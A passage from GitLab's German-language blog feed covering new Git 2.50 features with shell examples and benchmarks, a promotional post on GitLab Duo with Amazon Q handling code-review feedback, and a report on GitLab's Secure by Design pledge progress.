$ git switch bar
fatal: invalid reference: bar
</code></pre>
<p>Im Vergleich zur einzelnen Aktualisierung vieler Referenzen ist die Massenaktualisierung
auch viel effizienter. Das ist zwar grundsätzlich eine gute Lösung, aber es kann bestimmte
Umstände geben, unter denen es akzeptabel ist, wenn ein Teil der angeforderten Referenzaktualisierungen
fehlschlägt, wir aber dennoch die Effizienzvorteile von
Massenaktualisierungen nutzen möchten.</p>
<p>Ab dieser Version verfügt <code>git-update-ref(1)</code> über die neue Option <code>--batch-updates</code>, mit
der die Aktualisierungen auch dann fortgesetzt werden können, wenn eine oder mehrere Referenzaktualisierungen
fehlschlagen. In diesem Modus werden einzelne Fehler im folgenden Format gemeldet:</p>
<pre><code class="language-text">rejected SP (&lt;old-oid&gt; | &lt;old-target&gt;) SP (&lt;new-oid&gt; | &lt;new-target&gt;) SP &lt;rejection-reason&gt; LF
</code></pre>
<p>Dadurch können erfolgreiche Referenzaktualisierungen fortgesetzt werden, während gleichzeitig angegeben wird, unter welchen Umständen Aktualisierungen abgelehnt wurden und aus welchem Grund. Wir verwenden noch einmal das gleiche beispielhafte Repository wie im vorherigen Beispiel:</p>
<pre><code class="language-shell"># Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.
$ git update-ref --stdin --batch-updates &lt;&lt;EOF
&gt; create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc
&gt; update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c
&gt; EOF
rejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided

# Die Referenz „bar“ wurde erstellt, obwohl die Aktualisierung auf „foo“ abgelehnt wurde.
$ git switch bar
Switched to branch 'bar'
</code></pre>
<p>Mit der Option <code>--batch-updates</code> war die Referenzerstellung diesmal erfolgreich,
obwohl die Aktualisierung nicht funktioniert hat. Diese Patch-Serie legt den Grundstein für
zukünftige Leistungsverbesserungen in <code>git-fetch(1)</code> und <code>git-receive-pack(1)</code>,
wenn Referenzen in großer Zahl aktualisiert werden. Weitere Informationen findest du im
<a href="https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/">Mailinglisten-Thread</a></p>
<p><em>Dieses Projekt wurde von <a href="https://gitlab.com/knayakgl">Karthik Nayak</a> geleitet.</em></p>
<h2>Neue Filteroption für git-cat-file(1)</h2>
<p>Mit <a href="https://git-scm.com/docs/git-cat-file"><code>git-cat-file(1)</code> (in englischer Sprache verfügbar)</a> ist es möglich,
Informationen für alle im Repository enthaltenen Objekte über die Option
<code>--batch–all-objects</code> auszugeben. Zum Beispiel:</p>
<pre><code class="language-shell"># Richte ein einfaches Repository ein.
$ git init
$ echo foo &gt;foo
$ git add foo
$ git commit -m init

# Erstelle ein nicht erreichbares Objekt.
$ git commit --amend --no-edit

# Verwende git-cat-file(1), um Informationen über alle Objekte einschließlich nicht erreichbarer Objekte auszugeben.
$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'
commit 0b07e71d14897f218f23d9a6e39605b466454ece
tree 205f6b799e7d5c2524468ca006a0131aa57ecce7
blob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99
commit c999f781fd7214b3caab82f560ffd079ddad0115
</code></pre>
<p>In einigen Situationen möchte ein(e) Benutzer(in) möglicherweise alle Objekte im
Repository durchsuchen, aber nur eine Teilmenge basierend auf einem bestimmten Attribut ausgeben. Wenn
wir beispielsweise nur die Objekte anzeigen möchten, die Commits sind, könnten wir
<code>grep(1)</code> verwenden:</p>
<pre><code class="language-shell">$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit
commit 0b07e71d14897f218f23d9a6e39605b466454ece
commit c999f781fd7214b3caab82f560ffd079ddad0115
</code></pre>
<p>Das funktioniert zwar, aber ein Nachteil beim Filtern der Ausgabe ist, dass
<code>git-cat-file(1)</code> nach wie vor alle Objekte im Repository durchlaufen muss, auch
diejenigen, an denen wir nicht interessiert sind. Dies kann ziemlich ineffizient sein.</p>
<p>Mit dieser Version verfügt <code>git-cat-file(1)</code> jetzt über die Option <code>--filter</code>, die nur jene Objekte
anzeigt, die den angegebenen Kriterien entsprechen. Dies ähnelt der gleichnamigen Option
für <code>git-rev-list(1)</code>, unterstützt jedoch nur eine Teilmenge der
Filter. Die folgenden Filter werden unterstützt: <code>blob:none</code>, <code>blob:limit=</code> und
<code>object:type=</code>. Ähnlich wie im vorherigen Beispiel können Objekte mit Git direkt nach
ihrem Typ gefiltert werden:</p>
<pre><code class="language-shell">$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'
commit 0b07e71d14897f218f23d9a6e39605b466454ece
commit c999f781fd7214b3caab82f560ffd079ddad0115
</code></pre>
<p>Es ist nicht nur praktisch, dass Git die Verarbeitung übernimmt, sondern bei großen
Repositories mit vielen Objekten ist dies möglicherweise auch effizienter. Wenn ein
Repository über Bitmap-Indizes verfügt, kann Git Objekte eines bestimmten Typs effizient
nachschlagen und so das Durchsuchen der
Paketierungsdatei vermeiden, wodurch die Geschwindigkeit deutlich erhöht wird. Benchmarks, die im
<a href="https://github.com/chromium/chromium.git">Chromium-Repository</a> durchgeführt wurden, zeigen signifikante Verbesserungen:</p>
<pre><code class="language-text">Benchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs
Benchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs
Benchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs
Benchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs
Benchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs
Benchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs
Summary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter
</code></pre>
<p>Interessanterweise zeigen diese Ergebnisse, dass die Berechnungszeit jetzt mit
der Anzahl der Objekte für einen bestimmten Typ skaliert, anstatt mit der Anzahl der gesamten Objekte
in der Paketierungsdatei. Den ursprünglichen (englischsprachigen) Mailinglisten-Thread findest du
<a href="https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/">hier</a>.</p>
<p><em>Dieses Projekt wurde von <a href="https://gitlab.com/pks-gitlab">Patrick Steinhardt</a> geleitet.</em></p>
<h2>Verbesserte Leistung beim Generieren von Bundles</h2>
<p>Git bietet die Möglichkeit, über den Befehl
<a href="https://git-scm.com/docs/git-bundle"><code>git-bundle(1)</code> (in englischer Sprache verfügbar)</a> ein Archiv eines Repositories zu generieren, das einen
bestimmten Satz von Referenzen und zugehörigen erreichbaren Objekten enthält. Dieser Vorgang
wird von GitLab verwendet, um Repository-Backups zu erstellen, und ist auch ein Teil des
<a href="https://git-scm.com/docs/bundle-uri">Bundle-URI (in englischer Sprache verfügbar)</a>-Mechanismus.</p>
<p>Bei großen Repositories mit Millionen von Referenzen kann dieser Vorgang Stunden oder sogar Tage
dauern. Zum Beispiel lagen die Backup-Zeiten für das Haupt-GitLab-Repository
(<a href="https://gitlab.com/gitlab-org/gitlab">gitlab-org/gitlab</a>), bei
etwa 48 Stunden. Die Untersuchung zeigte einen Leistungsengpass, der
auf die Art zurückzuführen war, wie Git eine Überprüfung durchführte, um zu vermeiden, dass doppelte Referenzen
in das Bundle aufgenommen wurden. Die Implementierung verwendete eine verschachtelte <code>for</code>-Schleife, um alle aufgelisteten Referenzen zu durchlaufen und zu
vergleichen, was zu einer Zeitkomplexität von O(N^2) führte. Die Skalierbarkeit
ist sehr schlecht, wenn die Anzahl der Referenzen in einem Repository zunimmt.</p>
<p>In dieser Version wurde dieses Problem behoben, indem die verschachtelten Schleifen durch eine
Datenzuordnungsstruktur ersetzt wurden, was die Geschwindigkeit erheblich erhöht. Der folgende Benchmark zeigt
die Leistungssteigerung beim Erstellen eines Bundles mit einem Repository, das
100 000 Referenzen enthält:</p>
<pre><code class="language-text">Benchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs
Benchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs
Summary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)
</code></pre>
<p>Weitere Informationen findest du in unserem Blogbeitrag
<a href="https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/">Wie wir die Backup-Zeiten für GitLab-Repos von 48 Stunden auf 41 Minuten verringerten (in englischer Sprache verfügbar)</a>.
Den ursprünglichen englischsprachigen Mailinglisten-Thread findest du
<a href="https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/">hier</a>.</p>
<p><em>Dieses Projekt wurde von <a href="https://gitlab.com/knayakgl">Karthik Nayak</a> geleitet.</em></p>
<h2>Bessere Auflösung von URI-Bundles</h2>
<p>Durch den <a href="https://git-scm.com/docs/bundle-uri">Bundle-URI (in englischer Sprache verfügbar)</a>-Mechanismus in Git können den Clients
Orte zum Abrufen von Bundles zur Verfügung gestellt werden, um
Klone und Abrufe zu beschleunigen. Wenn ein Client ein Bundle herunterlädt, werden Referenzen
unter <code>refs/heads/*</code> zusammen mit
den zugehörigen Objekten aus dem Bundle in das Repository kopiert. Ein Bundle kann zusätzliche Referenzen
außerhalb von <code>refs/heads/*</code> enthalten, wie z. B. <code>refs/tags/*</code>, die einfach ignoriert werden, wenn
die Bundle-URI beim Klonen verwendet wird.</p>
<p>In Git 2.50 wird diese Einschränkung aufgehoben und alle Referenzen, die mit
<code>refs/*</code> übereinstimmen und im heruntergeladenen Bundle enthalten sind, werden kopiert.
<a href="https://github.com/schacon">Scott Chacon</a>, der diese Funktionalität beigesteuert hat,
demonstriert den Unterschied beim Klonen von
<a href="https://gitlab.com/gitlab-org/gitlab-foss">gitlab-org/gitlab-foss</a>:</p>
<pre><code class="language-shell">$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49
Cloning into 'gl2.49'...
remote: Enumerating objects: 1092703, done.
remote: Counting objects: 100% (973405/973405), done.
remote: Compressing objects: 100% (385827/385827), done.
remote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)
Receiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.
Resolving deltas: 100% (710976/710976), completed with 9081 local objects.
Checking objects: 100% (4194304/4194304), done.
Checking connectivity: 959668, done.
Updating files: 100% (59972/59972), done.

$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50
Cloning into 'gl-2.50'...
remote: Enumerating objects: 65538, done.
remote: Counting objects: 100% (56054/56054), done.
remote: Compressing objects: 100% (28950/28950), done.
remote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)
Receiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.
Resolving deltas: 100% (27401/27401), completed with 8564 local objects.
Updating files: 100% (59972/59972), done.
</code></pre>
<p>Wenn wir diese Ergebnisse vergleichen, sehen wir, dass Git 2.50 43 887 Objekte
(40,42 MiB) abruft, nachdem das Bundle extrahiert wurde, während Git 2.49
insgesamt 959 773 Objekte (366,94 MiB) abruft. Git 2.50 ruft etwa 95 % weniger
Objekte und 90 % weniger Daten ab, was vorteilhaft sowohl für den Client als auch für den Server ist. Der
Server muss viel weniger Daten für den Client verarbeiten und der Client muss weniger Daten
herunterladen und extrahieren. In dem von Scott angegebenen Beispiel führte dies zu einer
Beschleunigung um 25 %.</p>
<p>Weitere Informationen findest du im entsprechenden englischsprachigen
<a href="https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/">Mailinglisten-Thread</a>.</p>
<p><em>TDiese Patch-Serie wurde von <a href="https://github.com/schacon">Scott Chacon</a> beigesteuert.</em></p>
<h2>Weiterlesen</h2>
<p>In diesem Artikel werden nur einige der Beiträge von GitLab und
der größeren Git-Community für diese neueste Veröffentlichung vorgestellt. Mehr darüber erfährst du in
der <a href="https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/">offiziellen Veröffentlichungsankündigung</a> des Git-Projekts. Sieh dir auch
unsere <a href="https://about.gitlab.com/blog/tags/git/">letzten Blogbeiträge zu Git-Releases (in englischer Sprache verfügbar)</a>
an, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.</p>
]]></content>
        <author>
            <name>Justin Tobler</name>
            <uri>https://about.gitlab.com/blog/authors/justin-tobler</uri>
        </author>
        <published>2025-06-16T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Code-Reviews beschleunigen: Lass KI die Feedback-Implementierung übernehmen]]></title>
        <id>https://about.gitlab.com/de-de/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation/</id>
        <link href="https://about.gitlab.com/de-de/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation/"/>
        <updated>2025-06-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Kennst du das Gefühl, wenn du gerade einen Merge Request eingereicht hast und die Code-Review-Kommentare eintrudeln? Ein Reviewer möchte die Labels aktualisiert haben, ein anderer fragt nach Side-by-Side-Layouts, jemand anderes fordert fette Formatierung, und vergiss nicht die Änderung der Button-Farbe. Bevor du dich versiehst, verbringst du Stunden mit der Implementierung von Feedback, das zwar wichtig ist, dich aber davon abhält, neue Features zu entwickeln. Es ist ein zeitaufwendiger Prozess, dem sich jede(r) Entwickler(in) stellen muss, aber es fühlt sich an, als sollte es einen besseren Weg geben.</p>
<p>Was wäre, wenn du einen KI-Assistenten hättest, der Code-Review-Feedback versteht und die Änderungen automatisch für dich implementiert? Genau das bringt <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo mit Amazon Q</a> in deinen Entwicklungsworkflow. Diese nahtlose Integration kombiniert GitLabs umfassende DevSecOps-Plattform mit Amazon Qs fortgeschrittenen KI-Fähigkeiten und schafft einen intelligenten Assistenten, der Reviewer-Kommentare lesen und direkt in Code-Änderungen umwandeln kann. Anstatt jedes Feedback manuell zu bearbeiten, kannst du die KI die Implementierung übernehmen lassen, während du dich auf das große Ganze konzentrierst.</p>
<h2>Wie GitLab Duo mit Amazon Q funktioniert</h2>
<p>Wenn du einen Merge Request mit Reviewer-Kommentaren ansiehst, siehst du Feedback, das über deinen Code verteilt ist. Nehmen wir die Beispiele von vorhin: Vielleicht hast du eine Anfrage erhalten, hier ein Formular-Label zu aktualisieren, dort einen Vorschlag, Felder nebeneinander anzuzeigen, oder eine Notiz, bestimmten Text fett zu formatieren. Jeder Kommentar stellt eine Aufgabe dar, die du normalerweise manuell erledigen müsstest.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/1-show-comment.png" alt="Feedback zu einem MR"></p>
<p>Mit GitLab Duo mit Amazon Q kannst du einfach die <code>/q dev</code> Quick Action in einem Kommentar eingeben. Dies veranlasst Amazon Q, das gesamte Feedback zu analysieren und automatisch mit der Modifikation deines Codes zu beginnen. Der KI-Agent versteht den Kontext jedes Kommentars und implementiert die angeforderten Änderungen direkt in deiner Codebasis.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/2-invoke-q-dev.png" alt="/q dev-Funktion veranlasst Amazon Q zur Analyse des Feedbacks"></p>
<p>Sobald Amazon Q das Feedback verarbeitet hat, kannst du alle Updates im „Änderungen&quot;-Tab deines Merge Requests einsehen. Jede Modifikation ist klar sichtbar, sodass du überprüfen kannst, dass der KI-Agent jedes Feedback korrekt interpretiert und implementiert hat. Du kannst dann deine aktualisierte Anwendung ausführen, um zu bestätigen, dass alle Änderungen wie erwartet funktionieren – das Formular-Label ist aktualisiert, die Felder werden nebeneinander angezeigt, der Text ist fett, und ja, dieser Button ist jetzt blau.</p>
<p>Sieh dir den Code-Review-Feedback-Prozess in Aktion an:</p>
<p>&lt;!-- blank line --&gt;
&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/31E9X9BrK5s?si=ThFywR34V3Bfj1Z-&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<p>Die Verarbeitung von Code-Review-Feedback ist ein notwendiger, aber zeitintensiver Teil der Softwareentwicklung. GitLab Duo mit Amazon Q entwickelt diesen manuellen Prozess zu einem automatisierten Workflow weiter und reduziert drastisch die Zeit zwischen dem Erhalt von Feedback und der Implementierung von Änderungen. Indem du die KI diese routinemäßigen Modifikationen übernehmen lässt, bist du frei, dich auf das zu konzentrieren, was wirklich zählt – innovative Features zu entwickeln und komplexe Probleme zu lösen.</p>
<p>Mit GitLab Duo mit Amazon Q kannst du:</p>
<ul>
<li>Stunden manueller Feedback-Implementierung eliminieren</li>
<li>Deine Code-Review-Zyklen beschleunigen</li>
<li>Konsistenz bei der Bearbeitung von Feedback gewährleisten</li>
<li>Kontextwechsel zwischen Review-Kommentaren und Code-Schreiben reduzieren</li>
<li>Features mit optimierten Bereitstellungszeiten schneller ausliefern</li>
</ul>
<blockquote>
<h4>Um mehr über GitLab Duo mit Amazon Q zu erfahren, besuche uns bei einem kommenden <a href="https://about.gitlab.com/de-de/events/aws-summits/">AWS Summit in einer Stadt in deiner Nähe</a> oder <a href="https://about.gitlab.com/de-de/partners/technology-partners/aws/#form">wende dich an deinen GitLab-Vertreter</a>.</h4>
</blockquote>
<h2>GitLab Duo mit Amazon Q Ressourcen</h2>
<ul>
<li><a href="https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo mit Amazon Q: Agentische KI optimiert für AWS allgemein verfügbar</a></li>
<li><a href="https://about.gitlab.com/de-de/partners/technology-partners/aws/">GitLab und AWS Partnerseite</a></li>
<li><a href="https://docs.gitlab.com/user/duo_amazon_q/">GitLab Duo mit Amazon Q Dokumentation</a></li>
<li><a href="https://about.gitlab.com/de-de/topics/agentic-ai/">Was ist agentische KI?</a></li>
<li><a href="https://about.gitlab.com/de-de/blog/agentic-ai-guides-and-resources/">Agentische KI-Leitfäden und Ressourcen</a></li>
</ul>
]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra</uri>
        </author>
        <published>2025-06-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Letztes Jahr haben wir das Secure by Design-Versprechen unterzeichnet – hier ist unser Fortschritt]]></title>
        <id>https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/</id>
        <link href="https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/"/>
        <updated>2025-06-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Vor etwas mehr als einem Jahr hat GitLab <a href="https://about.gitlab.com/de-de/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/">CISAs Secure by Design Pledge</a> unterzeichnet, eine Richtlinie für Technologieanbieter, Sicherheit von Beginn der Entwicklung an ins Herz ihrer Produkte zu integrieren. Seitdem haben wir erhebliche Fortschritte bei der Verbesserung unserer Sicherheitslage gemacht und ein sichereres Ökosystem für unsere Kund(inn)en geschaffen, um sichere Software schneller zu entwickeln.</p>
<h2>Die Sicherheitsziele erreichen</h2>
<p>Schauen wir uns die Erweiterungen und Verbesserungen an, die wir vorgenommen haben, um die Sicherheit über den gesamten Entwicklungslebenszyklus hinweg weiter zu verbessern.</p>
<h3>Multi-Faktor-Authentifizierung (MFA)</h3>
<p><em><strong>Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens nachweisbare Maßnahmen zur messbaren Erhöhung der Nutzung von Multi-Faktor-Authentifizierung in den Produkten des Herstellers demonstrieren.</strong></em></p>
<p>GitLab bietet derzeit mehrere <a href="https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html">MFA</a>-Optionen für Nutzer(innen), um ihre Konten zu sichern. Wir bieten auch SSO-Funktionalität an, damit <a href="https://docs.gitlab.com/ee/user/group/saml_sso/">GitLab.com</a>-, <a href="https://docs.gitlab.com/integration/saml/">Self-Managed</a>- und <a href="https://docs.gitlab.com/integration/saml/">GitLab Dedicated</a>-Kund(inn)en ihre Authentifizierungsprozesse und internen MFA-Anforderungen optimieren können.</p>
<p>Um die Widerstandsfähigkeit der Plattform weiter zu verbessern und eine sicherere Grundlage für unsere Kund(inn)en zu schaffen, führt GitLab eine schrittweise MFA-by-Default-Einführung durch.</p>
<p>In den kommenden Monaten werden wir Änderungen implementieren, die alle Kund(inn)en verpflichten, MFA für ihre Konten zu aktivieren.</p>
<p>Für Kund(inn)en, die bereits MFA aktiviert haben oder sich über die Single-Sign-On-Methode (SSO) ihrer Organisation bei GitLab authentifizieren, sind keine Änderungen erforderlich. Kund(inn)en, die noch keine MFA aktiviert haben und sich nicht über die SSO-Methode ihrer Organisation bei GitLab authentifizieren, müssen MFA aktivieren und sich für eine oder mehrere der verfügbaren MFA-Methoden registrieren.</p>
<p>Die MFA-Einführung erfolgt in Phasen, um eine reibungslose und konsistente Annahme bei allen Kund(inn)en zu gewährleisten. Weitere Details zu GitLabs MFA-by-Default-Einführung werden in naher Zukunft geteilt.</p>
<h3>Standardpasswörter</h3>
<p><em><strong>Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens messbaren Fortschritt bei der Reduzierung von Standardpasswörtern in den Produkten des Herstellers demonstrieren.</strong></em></p>
<p>Um die Verwendung von Standardpasswörtern zu reduzieren, nutzt GitLab zufällig generierte Root-Passwörter für seine verschiedenen Installationsmethoden. GitLabs <a href="https://docs.gitlab.com/ee/install/install_methods.html">Installationsanweisungen</a> für mehrere Methoden enthalten auch Anleitungen, wie das zufällig generierte Root-Passwort für jede Installation geändert werden kann.</p>
<p>Bei einigen Installationsmethoden, wie der Installation von GitLab in einem Docker-Container, wird die Passwortdatei mit dem initialen Root-Passwort beim ersten Container-Neustart nach 24 Stunden gelöscht, um die GitLab-Instanz weiter zu härten.</p>
<h3>Reduzierung ganzer Klassen von Schwachstellen</h3>
<p><em><strong>Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, die eine signifikante messbare Reduzierung der Verbreitung einer oder mehrerer Schwachstellenklassen in den Produkten des Herstellers ermöglichen.</strong></em></p>
<p>GitLab hat <a href="https://docs.gitlab.com/ee/development/secure_coding_guidelines.html#sast-coverage">Richtlinien für sicheres Programmieren</a> auf seiner Dokumentationsseite veröffentlicht, die Beschreibungen und Richtlinien zur Behebung von Sicherheitsschwachstellen enthalten, die häufig in der GitLab-Codebasis identifiziert werden.</p>
<p>Die Richtlinien sind „darauf ausgelegt, Entwickler(inne)n zu helfen, potenzielle Sicherheitsschwachstellen frühzeitig zu identifizieren, mit dem Ziel, die Anzahl der im Laufe der Zeit veröffentlichten Schwachstellen zu reduzieren.&quot;</p>
<p>GitLab verbessert kontinuierlich seine <a href="https://docs.gitlab.com/development/secure_coding_guidelines#sast-coverage">SAST-Regelabdeckung</a>, um umfassendere Sicherheitsschwachstellen für sich selbst und seine Kund(inn)en zu adressieren.</p>
<h3>Sicherheitspatches</h3>
<p><em><strong>Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, um die Installation von Sicherheitspatches durch Kund(inn)en messbar zu erhöhen.</strong></em></p>
<p>GitLab übernimmt alle Updates im Zusammenhang mit seinen GitLab.com- und GitLab Dedicated-Serviceangeboten. Zusätzlich veröffentlicht GitLab eine <a href="https://docs.gitlab.com/ee/policy/maintenance.html">Wartungsrichtlinie</a>, die den Ansatz für die Veröffentlichung von Updates, Rückportierungen, Upgrade-Empfehlungen und unterstützende Dokumentation usw. darlegt.</p>
<p>Die GitLab-Dokumentation bietet umfassende Anleitungen zum <a href="https://docs.gitlab.com/ee/update/?tab=Self-compiled+%28source%29#upgrade-based-on-installation-method">Upgrade</a> von Self-Managed-Instanzen basierend auf ihrem Bereitstellungsmodell. Dies umfasst Omnibus-, Helm-Chart-, Docker- und selbstkompilierte GitLab-Installationen.</p>
<p>GitLab bietet auch einen detaillierten <a href="https://docs.gitlab.com/ee/update/plan_your_upgrade.html">Upgrade-Plan</a>, um ordnungsgemäße Tests und Fehlerbehebung sowie bei Bedarf Rollback-Pläne zu gewährleisten.</p>
<p>Je nach Versions-Upgrade werden spezifische Änderungen (<a href="https://docs.gitlab.com/ee/update/versions/gitlab_17_changes.html">Beispiel für GitLab 17</a>) für jede Version hervorgehoben, um einen reibungslosen Upgrade-Prozess zu gewährleisten und die Nichtverfügbarkeit von Diensten zu begrenzen.</p>
<h3>Richtlinie zur Offenlegung von Schwachstellen</h3>
<p><em><strong>Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine Richtlinie zur Offenlegung von Schwachstellen (VDP) veröffentlichen.</strong></em></p>
<p>GitLab unterhält ein starkes Bug-Bounty-Programm über <a href="https://hackerone.com/gitlab?type=team">HackerOne</a>, eine <a href="https://gitlab.com/.well-known/security.txt">security.txt</a>-Datei, die GitLabs bevorzugte und zusätzliche Offenlegungsprozesse hervorhebt, sowie <a href="https://about.gitlab.com/de-de/releases/categories/releases/">Release-Posts</a>, die Sicherheitsfixes hervorheben.</p>
<p>Kund(inn)en und die Öffentlichkeit können sich anmelden, um GitLabs Release-Posts direkt in ihrem E-Mail-Posteingang zu erhalten.</p>
<h3>Common Vulnerability Enumerations</h3>
<p><em><strong>Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Transparenz in der Schwachstellenberichterstattung demonstrieren</strong></em></p>
<p>GitLab fügt das Common Weakness Enumeration (CWE)-Feld in alle Common Vulnerability Enumeration (CVE)-Datensätze ein, die es veröffentlicht. Im vergangenen Jahr hat GitLab iterativ auch das Common Platform Enumeration (CPE)-Feld in CVE-Datensätzen aufgenommen.</p>
<p>Das GitLab <a href="https://gitlab.com/gitlab-org/cves">CVE-Zuweisungsprojekt</a> speichert eine Kopie aller CVE-Identifikatoren, die von GitLab in seiner Rolle als CVE Numbering Authority zugewiesen und veröffentlicht wurden.</p>
<blockquote>
<p>Schau dir <a href="https://gitlab.com/gitlab-org/cves/-/blob/master/.gitlab/issue_templates/Internal%20GitLab%20Submission.md?ref_type=heads">GitLabs CVE-Einreichungsvorlage</a> an.</p>
</blockquote>
<h3>Beweise für Eindringlinge</h3>
<p><em><strong>Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine messbare Erhöhung der Fähigkeit von Kund(inn)en demonstrieren, Beweise für Cybersicherheitseindringlinge zu sammeln, die die Produkte des Herstellers betreffen.</strong></em></p>
<p>GitLab hat einen <a href="https://docs.gitlab.com/ee/security/responding_to_security_incidents.html">Leitfaden zur Vorfallreaktion</a> veröffentlicht, um Kund(inn)en bei der Reaktion auf Vorfälle mit GitLab-Instanzen zu helfen. Zusätzlich hat GitLab Open-Source-Versionen seiner <a href="https://about.gitlab.com/de-de/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/">GUARD Detection-as-Code</a>- und TLDR-Bedrohungserkennungs-Frameworks veröffentlicht. Die Repositories für diese Open-Source-Frameworks finden sich im <a href="https://about.gitlab.com/de-de/security/open-source-resources/">GitLab Open Source Security Center</a>.</p>
<p>In ähnlicher Weise fügt GitLab Funktionalität zu seinem <a href="http://gitLab.com">GitLab.com</a>-Serviceangebot hinzu, um <a href="https://about.gitlab.com/de-de/blog/introducing-compromised-password-detection-for-gitlab-com/">kompromittierte Passwörter zu erkennen</a> für alle Anmeldungen, die GitLabs native Benutzername- und Passwort-Authentifizierungsmethode verwenden.</p>
<h2>Was kommt als Nächstes</h2>
